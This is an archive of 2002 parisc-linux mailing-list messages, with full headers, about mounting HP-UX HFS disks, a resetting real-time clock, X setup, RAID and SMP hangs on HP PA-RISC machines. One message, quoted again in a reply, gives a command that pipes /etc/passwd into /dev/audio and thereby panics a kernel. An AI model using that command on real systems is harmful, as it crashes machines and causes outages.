	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15354

>>>>> "DL" == dlorin  <dlorin@univ-rennes1.fr> writes:

DL> I took a disk SCSCI-1 out of a station 425t running with
DL> BASIC-UX. On this one, there are several files (data and programs
DL> written in HP-BASIC) I want to reach in reading with my 715/50
DL> running with Woody. How to do that?

If there is only one partition on the drive,

        mount -t hfs /dev/sdX /mnt

should work.

HP/UX's partitioning scheme is not supported, unfortunately, so if you
have several partitions you need to hack a bit.  

I suggest writing a program to scan for the UFS magic field on the
disk and print the offsets.  Move 8K back from the start of each
superblock and write down that number.

Then use the loopback mount facility and pass the offset you found to
losetup's -o option.  So - say -

        losetup -o <found offset> /dev/loop0 /dev/sda
        mount -t hfs /dev/loop0 /mnt

With a bit of tinkering, you should be able to mount your hfs
filesystems that way.

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, Linux/IA-64



From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to mount HFS 6.0 ?
Date: 08 Jul 2002 08:46:37 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <1026132397.906.50.camel@romano>
References: <200207080705.JAA06652@mailimailo.univ-rennes1.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621476 10085 80.91.229.3 (22 Nov 2014 01:57:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dlorin@univ-rennes1.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 06:46:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id F247B4878
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 06:46:40 -0600 (MDT)
Original-Received: from romano by romano with local (Exim 3.35 #1 (Debian))
	id 17RXuX-0000FW-00; Mon, 08 Jul 2002 08:46:37 -0400
In-Reply-To: <200207080705.JAA06652@mailimailo.univ-rennes1.fr>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15355

On Mon, 2002-07-08 at 04:05, dlorin@univ-rennes1.fr wrote:
> The content of my question concerns the "old fellows", who were using the 
> ancient series HP/9000/3xx or 4xx and whom I hope to find reading this 
> mails-list. But anyone, able to help me, is welcome...
> 
> I took a disk SCSCI-1 out of a station 425t running with BASIC-UX. On this one, 
> there are several files (data and programs written in HP-BASIC) I want to reach 
> in reading with my 715/50 running with Woody. How to do that?
> 
> Nota:
> 1) the filesystem's type on this disk is: HFS version 6.0.
> 2) the disk is already installed in the daisy chain SCSI and correctly 
> identified during the boot sequence.
> 
> Thanks.
> D. Lorin


The kernel sources suggest that the following may work if you have ufs
support compiled into your kernel:

   mount -t ufs -o ufstype=hp /dev/sd{whatever} /mnt

It would be unportable if type "hfs" as Martin Peterson suggests works. 
The "hfs" filesystem type in the standard Linux kernel represents an
Apple Macintosh filesystem.

-- SP




From - Thu Nov 08 21:23:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to mount HFS 6.0 ?
Date: 08 Jul 2002 09:10:47 -0400
Organization: mkp.net
Lines: 15
Approved: news@gmane.org
Message-ID: <yq1k7o6mkko.fsf@austin.mkp.net>
References: <200207080705.JAA06652@mailimailo.univ-rennes1.fr>
	<1026132397.906.50.camel@romano>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621476 10087 80.91.229.3 (22 Nov 2014 01:57:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:56 +0000 (UTC)
Cc: dlorin@univ-rennes1.fr, parisc-linux@lists.parisc-linux.org
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 07:11:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.mkp.net (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 931304857
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 07:11:36 -0600 (MDT)
Original-Received: from austin.mkp.net ([10.0.0.2])
	by rover.mkp.net with esmtp (Exim 3.33 #1)
	id 17RYHw-000262-00; Mon, 08 Jul 2002 09:10:48 -0400
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id g68DAln01438;
	Mon, 8 Jul 2002 09:10:47 -0400
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <1026132397.906.50.camel@romano>
Original-Lines: 13
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15356

>>>>> "Steve" == Steve Pacenka <spacenka@lightlink.com> writes:

Steve> It would be unportable if type "hfs" as Martin Peterson
Steve> suggests works.  The "hfs" filesystem type in the standard
Steve> Linux kernel represents an Apple Macintosh filesystem.

Yes, you're right.  Waaay too early in the morning here (And slightly
embarassing given that I was the one who implemented the hfs support
in ufs d:)...

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, Linux/IA-64



From - Thu Nov 08 21:23:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael Audette" <Mike.Audette@synopsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Installing on C110
Date: Mon, 8 Jul 2002 09:16:00 -0400
Lines: 100
Approved: news@gmane.org
Message-ID: <HMEKIKEAKEFFMJJOEAJNOEDHFJAA.maudette@synopsys.com>
References: <3D254C22.7645EDE3@ruhr-west.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621477 10088 80.91.229.3 (22 Nov 2014 01:57:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:57 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Juergen Braukmann" <juergen.braukmann@ruhr-west.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 07:16:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boden.synopsys.com (unknown [204.176.20.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7E164831
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 07:16:46 -0600 (MDT)
Original-Received: from mother.synopsys.com (mother.synopsys.com [146.225.100.171])
	by boden.synopsys.com (Postfix) with ESMTP
	id CB71CDC62; Mon,  8 Jul 2002 06:16:05 -0700 (PDT)
Original-Received: from boston.synopsys.com (localhost [127.0.0.1])
	by mother.synopsys.com (8.9.1/8.9.1) with ESMTP id GAA20799;
	Mon, 8 Jul 2002 06:15:12 -0700 (PDT)
Original-Received: from maudettec800 (dhcp-146-225-129-157.synopsys.com [146.225.129.157])
	by boston.synopsys.com (8.9.1/8.9.1) with SMTP id JAA09396;
	Mon, 8 Jul 2002 09:16:01 -0400 (EDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <3D254C22.7645EDE3@ruhr-west.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15357

I have the same problem with the RTC on my C110.  I replaced the
battery...and the real-time clock does work.  Even after a reboot.  But upon
a kernel panic the RTC gets nuked.  I can panic the 0.93 kernel by 'cat
/etc/passwd > /dev/audio' without the harmony driver installed (I have not
gotten around to recompiling my kernel as of yet).  Try setting it upon boot
then rebooting.  If this works then your RTC is more than likely ok.

				-Mike


-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Juergen
Braukmann
Sent: Friday, July 05, 2002 3:35 AM
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Installing on C110


Grant Grundler schrieb:
>
Hi Grant

> Juergen Braukmann wrote:
> > I an stuck with three problems, for one my german keyboard doesn't work
> > as expected (the <>| key in particvular). I should get round that with
> > kbdconfig as suggested in another mail, but I diddn't fint that program
> > installed. ;-( Since this is my first ever debian install, it's more a
> > problem of finding and reading the docs to the packet manager and some
> > more general info about debian systems.
>
> "apt-get" is your friend.
> Once upon a time, "apt-cache search <pgm>" would tell me which package
> contained the program. But I've forgotten the explanation of why
> that stopped working.
>

OK, I will look that one up.

> > More annoying is the system clock, that always puts me back to 1970. Set
> > the date, wrote it back to CMOS, checked it, rebooted and was back into
> > the seventies. The device /dev/rtc exists with the suggested major/minor
> > numbers from the FAQ. At this time, I enter date time after bootup like
> > with my first PC. ;-)
>
> Could the battery be dead?
> You might take that out and measure it with a volt meter.
>

I think the battery is OK. HP-UX worked well, but I hadn't used it for a
time and didn't check. I should rule out that possibility before start
to cry. ;-) (i.e. My network connection started to work perfect after I
plugged the other machine back to the coax cable... ;-))
But things looked like that I can set the CMOS time from the boot
program (active before realy booting something) and linux telling me
something about garbled time afterwards. My suspicion is that the stored
format differs from that hwclock -w tried to use.

> > I cannot get X to run. "No screens found". I tried the good old
> > xf86config setup, but don't realy know what to enter for a video card
> > (thinking that's the problem). Help on that is also appreciated. Is
> > there any tool to identify hardware in general?
>
> www.parisc-linux.org has lots of FAQ info and HOW-TOs.
> Look at the boot console output to determine which type
> of graphics card you have and start hunting from there.
>

well, hunting starts with  that pice of fragment:

CORAL SGC Graphics
1280x1024-32 framebuffer

and that is not listed amongst the cards. So I add some more questions
to that:
when I get system info at the boot program, I see that I'v got no EISA
devices. The graphics card looks propetary -from the connectors side of
view-. Are the slots EISA slots? In what case, I'd fetch an old ELSA
Winner 2000 EISA from work and try with that. At least, I know how to
configure these.

Anyway, this has to wait to the next week, since I am off over the
weekend. ;-)


Juergen

--
===========================================     __   _
Juergen Braukmann juergen.braukmann@gmx.de| -o)/ /  (_)__  __ ____  __
Tel: 0201-743648  dk4jb@db0qs.#nrw.deu.eu | /\\ /__/ / _ \/ // /\ \/ /
===========================================_\_v __/_/_//_/\_,_/ /_/\_\

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:23:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing on C110
Date: Mon, 8 Jul 2002 14:31:44 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020708133143.GE815@tykepenguin.com>
References: <3D254C22.7645EDE3@ruhr-west.de> <HMEKIKEAKEFFMJJOEAJNOEDHFJAA.maudette@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621477 10090 80.91.229.3 (22 Nov 2014 01:57:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 07:31:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87558487A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 07:31:45 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17RYcC-0008Mq-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 08 Jul 2002 14:31:44 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <HMEKIKEAKEFFMJJOEAJNOEDHFJAA.maudette@synopsys.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15358

On Mon, Jul 08, 2002 at 09:16:00AM -0400, Michael Audette wrote:
> I have the same problem with the RTC on my C110.  I replaced the
> battery...and the real-time clock does work.  Even after a reboot.  But upon
> a kernel panic the RTC gets nuked.  I can panic the 0.93 kernel by 'cat
> /etc/passwd > /dev/audio' without the harmony driver installed (I have not
> gotten around to recompiling my kernel as of yet).  Try setting it upon boot
> then rebooting.  If this works then your RTC is more than likely ok.


That probably explains why mine seems to work sometimes and not others :-)
I just installed ntpdate and ignored the problem.

Patrick



From - Thu Nov 08 21:23:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RAID 1 ON PARISC LINUX
Date: Mon, 08 Jul 2002 18:27:21 +0300
Lines: 11
Approved: news@gmane.org
Message-ID: <3D29AF59.5000104@itp.bg>
References: <66A1F566-91F8-11D6-A1BD-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621477 10093 80.91.229.3 (22 Nov 2014 01:57:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:57 +0000 (UTC)
To: "The PA/Linux Team@ESIEE" <Puffin@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 09:27:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 838894866
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 09:27:18 -0600 (MDT)
Original-Received: (qmail 11973 invoked from network); 8 Jul 2002 15:28:22 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 8 Jul 2002 15:28:22 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15359

Hello,
can I make RAID 1?
sda1 is parisc/boot lodaer
sda2 is /
sda3 is swap
sda4 /home
can I RAID sda2 which is root mounted with sdb2?
Regards




From - Thu Nov 08 21:23:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <dlorin@univ-rennes1.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to mount HFS 6.0 ?
Date: Mon, 08 Jul 2002 17:47:01 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <200207081547.RAA29025__29206.4249901616$1416621478$gmane$org@mailimailo.univ-rennes1.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621478 10094 80.91.229.3 (22 Nov 2014 01:57:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:58 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	<parisc-linux@lists.parisc-linux.org>
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 09:47:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailimailo.univ-rennes1.fr (mailimailo.univ-rennes1.fr [129.20.131.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3685485A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 09:47:06 -0600 (MDT)
Original-Received: from univ-rennes1.fr (localhost [127.0.0.1])
          by mailimailo.univ-rennes1.fr (8.9.3/jtpda-5.3.3) with ESMTP id RAA29025
          ; Mon, 8 Jul 2002 17:47:01 +0200 (MET DST)
X-Originating-IP: [129.20.249.94]
X-Mailer: IMHO for Roxen
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15360

> It would be unportable if type "hfs" as Martin Peterson suggests works. 
> The "hfs" filesystem type in the standard Linux kernel represents an
> Apple Macintosh filesystem.

You're right, the problem is still open ...

Clearly, it is the Hewlett-Packard Filesystem 'HFS' HP-UX (ver. 6.0), 
which has been developped in the 80's, and not the Apple's filesystem 
HFS (confusion , confusion, ...).
Anyway, thanks to all.

d.l.



From - Thu Nov 08 21:23:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/819/K210
Date: Mon, 08 Jul 2002 10:32:12 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020708163212.4EB2E482B@dsl2.external.hp.com>
References: <20020707201151.6C150482F@dsl2.external.hp.com> <20020708004556.145DE4838@dsl2.external.hp.com>  <3D292EE0.304@itp.bg>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621478 10096 80.91.229.3 (22 Nov 2014 01:57:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 10:32:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4EB2E482B; Mon,  8 Jul 2002 10:32:12 -0600 (MDT)
In-Reply-To: Message from Stephan Trajkoff <stephan@itp.bg> 
   of "Mon, 08 Jul 2002 09:19:12 +0300." <3D292EE0.304@itp.bg> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15361

Stephan Trajkoff wrote:
> Hello,
> TEAM from esiee.fr told me that it is common SMP problem...
> after heavy compilation, 'w' and 'ps ax' don't work

My a500 has been running -pa52 and iteratively built 88 linux kernels
since yesterday. Both w and ps ax still work. Something else must be
triggering the problem.

grant



From - Thu Nov 08 21:23:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/819/K210
Date: Mon, 8 Jul 2002 20:14:06 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <7D78C29C-929E-11D6-9EA1-0030656F07A2@esiee.fr>
References: <20020708163212.4EB2E482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621478 10102 80.91.229.3 (22 Nov 2014 01:57:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:58 +0000 (UTC)
Cc: Stephan Trajkoff <stephan@itp.bg>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul  8 12:14:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 434F74830
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Jul 2002 12:14:08 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 7422249BED; Mon,  8 Jul 2002 20:14:06 +0200 (CEST)
In-Reply-To: <20020708163212.4EB2E482B@dsl2.external.hp.com>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15362

Le lundi 8 juillet 2002, =E0 06:32 , Grant Grundler a =E9crit :

> Stephan Trajkoff wrote:
>> Hello,
>> TEAM from esiee.fr told me that it is common SMP problem...
>> after heavy compilation, 'w' and 'ps ax' don't work
>
> My a500 has been running -pa52 and iteratively built 88 linux kernels
pa52 ? Well, if you're one step further than everyone, that's kinda=20
cheating :^)
> since yesterday. Both w and ps ax still work. Something else must be
> triggering the problem.
Do you mean that the hangs Ryan and I are studying should be solved by=20=

your changes ?
Anyway, I have noticed that on J5k and A500, using the 'normal IO' mode=20=

for the SYM53C8XX driver
seems to decrease risk of such hangs (running 2 setis on both machines=20=

and building ISOs on the
A500 for about 4 days, pa46 on both, without hangs, where the A500 could=20=

only run for about
3 hours is the same conditions with the MMIO mode, 1 day in the best=20
case.)

But I had not enough time to investigate further, so it should only be=20=

considered as a
*interesting coincidence* :)

I have now installed pa51 on these boxes, so I'll keep checking for=20
hangs.


Thibaut VARENE
PA/Linux ESIEE Team
